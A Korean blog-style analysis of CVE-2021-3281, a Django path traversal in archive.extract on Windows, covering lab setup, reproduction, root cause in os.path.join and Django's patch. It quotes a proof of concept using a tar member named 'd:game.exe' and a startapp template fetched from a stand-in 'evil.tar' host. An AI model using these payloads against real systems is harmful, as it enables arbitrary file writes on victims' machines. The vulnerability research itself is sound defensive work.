[CVE-2021-3281] Django Path Traversal 취약성 연구

GitHub - lwzSoviet/CVE-2021-3281

 

GitHub - lwzSoviet/CVE-2021-3281

Contribute to lwzSoviet/CVE-2021-3281 development by creating an account on GitHub.

github.com

django.utils.archive.py의 TarArchive 클래스, 171번 라인에서 발생하는 Path Traversal 취약성이다.

이 함수는 os.path.join(to_path, name)를 사용하며, 'name' 파라미터에 대한 검증을 실시하지 않는다.

사용자가 이 함수를 윈도우 환경에서 사용할 경우 Directory Traversal 취약성이 발생할 수 있다.

POC는 아래와 같다.

from django.utils import archive
archive.extract('test.tar','.')
# The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
# It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:

django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"

환경 구축 & 취약성 재현

Python 설치(Windows)

  1. 취약환경을 그대로 구현하기 위해 취약한 버전의 장고를 설치해야한다.버전 관리를 위해 pyenv+virtualenv를 이용한다.(https://github.com/pyenv-win/pyenv-win)
  2. 취약성 발생 환경이 윈도우 환경이므로 윈도우 운영체제에서 진행한다.
    1. pyenv update
    2. pyenv install -l
    3. pip install virtualenv
    4. cd py368/Scripts > activate
    5. virtualenv --python=C:\\Users\\ADMIN\\.pyenv\\pyenv-win\\versions\\3.6.8\\python.exe py368 # 가상환경 이름
    6. pyenv install 3.6.8

Django 설치(3.1.5)

  1. Django 3.1.6버전에서 패치된 취약성이므로 하위버전인 3.1.5버전 설치
  2. 이렇게 하면 python 가상 환경 내에서만 동작하는 장고 환경을 구축할 수 있다.
    1. pip install Django==3.1.5

취약성 재현

  1. tar 파일을 언아카이빙(압축해제)할 때 from django.utils import archive를 통해 모듈을 로드한 후 archive.extract('압축해제할 파일', '압축해제할 경로')의 형태로 명령을 실행한다.
  2. 공격자는 '압축해제할 파일'의 test.tar 파일 내부에 다른 경로로 이동하도록 하는 파일 명을 삽입(d:game.exeee)하여 다른 경로에 압축이 해제되도록 한다.
    test.tar파일의 구조는 다음과 같다.

3. PoC대로 명령을 실행시켜 취약성이 동일하게 발생하는지 확인한다.
from django.utils import archive
archive.extract('test.tar', '.')

실행 전,후 D 드라이브의 파일 내용이다.

명령실행 후 D:\ 경로에 game.exeee 파일이 생성된 것을 확인할 수 있다.

원인 분석

https://github.com/django/django/commit/05413afa8c18cdb978fcdf470e09f7a12b234a23

취약성이 발생하는 위치인 django/utils/archive.py 파일의 TarArchive클래스 코드라인을 분석한다.

class TarArchive(BaseArchive):
    def __init__(self, file):
        self._archive = tarfile.open(file)
    def list(self, *args, **kwargs):
        self._archive.list(*args, **kwargs)
    def extract(self, to_path):
        members = self._archive.getmembers()
        leading = self.has_leading_dir(x.name for x in members)
        for member in members:
            name = member.name
            if leading:
                name = self.split_leading_dir(name)[1]
            filename = os.path.join(to_path, name) # 취약성 발생 위치
            if member.isdir():
                if filename:
                    os.makedirs(filename, exist_ok=True)
        ...
  • os.path모듈을 사용하여 filename을 정의하고 있다.
  • join 함수는 경로명 조작을 처리하고 있는 함수이며 인수에 전달된 2개의 문자열을 조합하여 1개의 경로로 정의할 수 있다.
  • import os
    os.path.join("/A/B/C", "file.py")
    # /A/B/C/file.py

하지만 결합하려는 경로명에 디렉터리 구분 문자("\") 등이 포함되어 있는 경우 다음과 같이 동작한다.

import os
os.path.join('dirA', 'dirB', '\dirC') # \dirC
os.path.join('dirA', '\dirB', '\dirC') # \dirB\dirC
os.path.join('\dirA', 'dirB', 'dirC') # \dirA\dirB\dirC

join() 의 인자에 디렉터리 구분 문자가 있으면, 그것을 root로 보는 성질이 있다.

Django에서는 이 함수를 tar 파일 내 여러 파일들을 상위 경로와 연결하여 압축해제하기 위한 로직에 사용하고 있다.

filename = os.path.join(to_path, name) # 취약성 발생 위치

test.tar의 입력 시 다음과 같이 동작한다.

import os
os.path.join('ccc', 'D:\game.exeee') # D:\game.exeee

이 취약성은 파이썬 TarFile 모듈의 extractall 함수에도 동일하게 발생한다.

tarfile - Read and write tar archive files - Python 3.9.6 documentation

 

tarfile — Read and write tar archive files — Python 3.9.6 documentation

tarfile — Read and write tar archive files Source code: Lib/tarfile.py The tarfile module makes it possible to read and write tar archives, including those using gzip, bz2 and lzma compression. Use the zipfile module to read or write .zip files, or the h

docs.python.org

보안조치

Django에서는 취약성의 해결을 위해 파일명 인자를 검증하는 함수를 추가하였다.

def target_filename(self, to_path, name):
        target_path = os.path.abspath(to_path)
        filename = os.path.abspath(os.path.join(target_path, name))
        if not filename.startswith(target_path):
            raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
        return filename
...
filename = self.target_filename(to_path, name)
반응형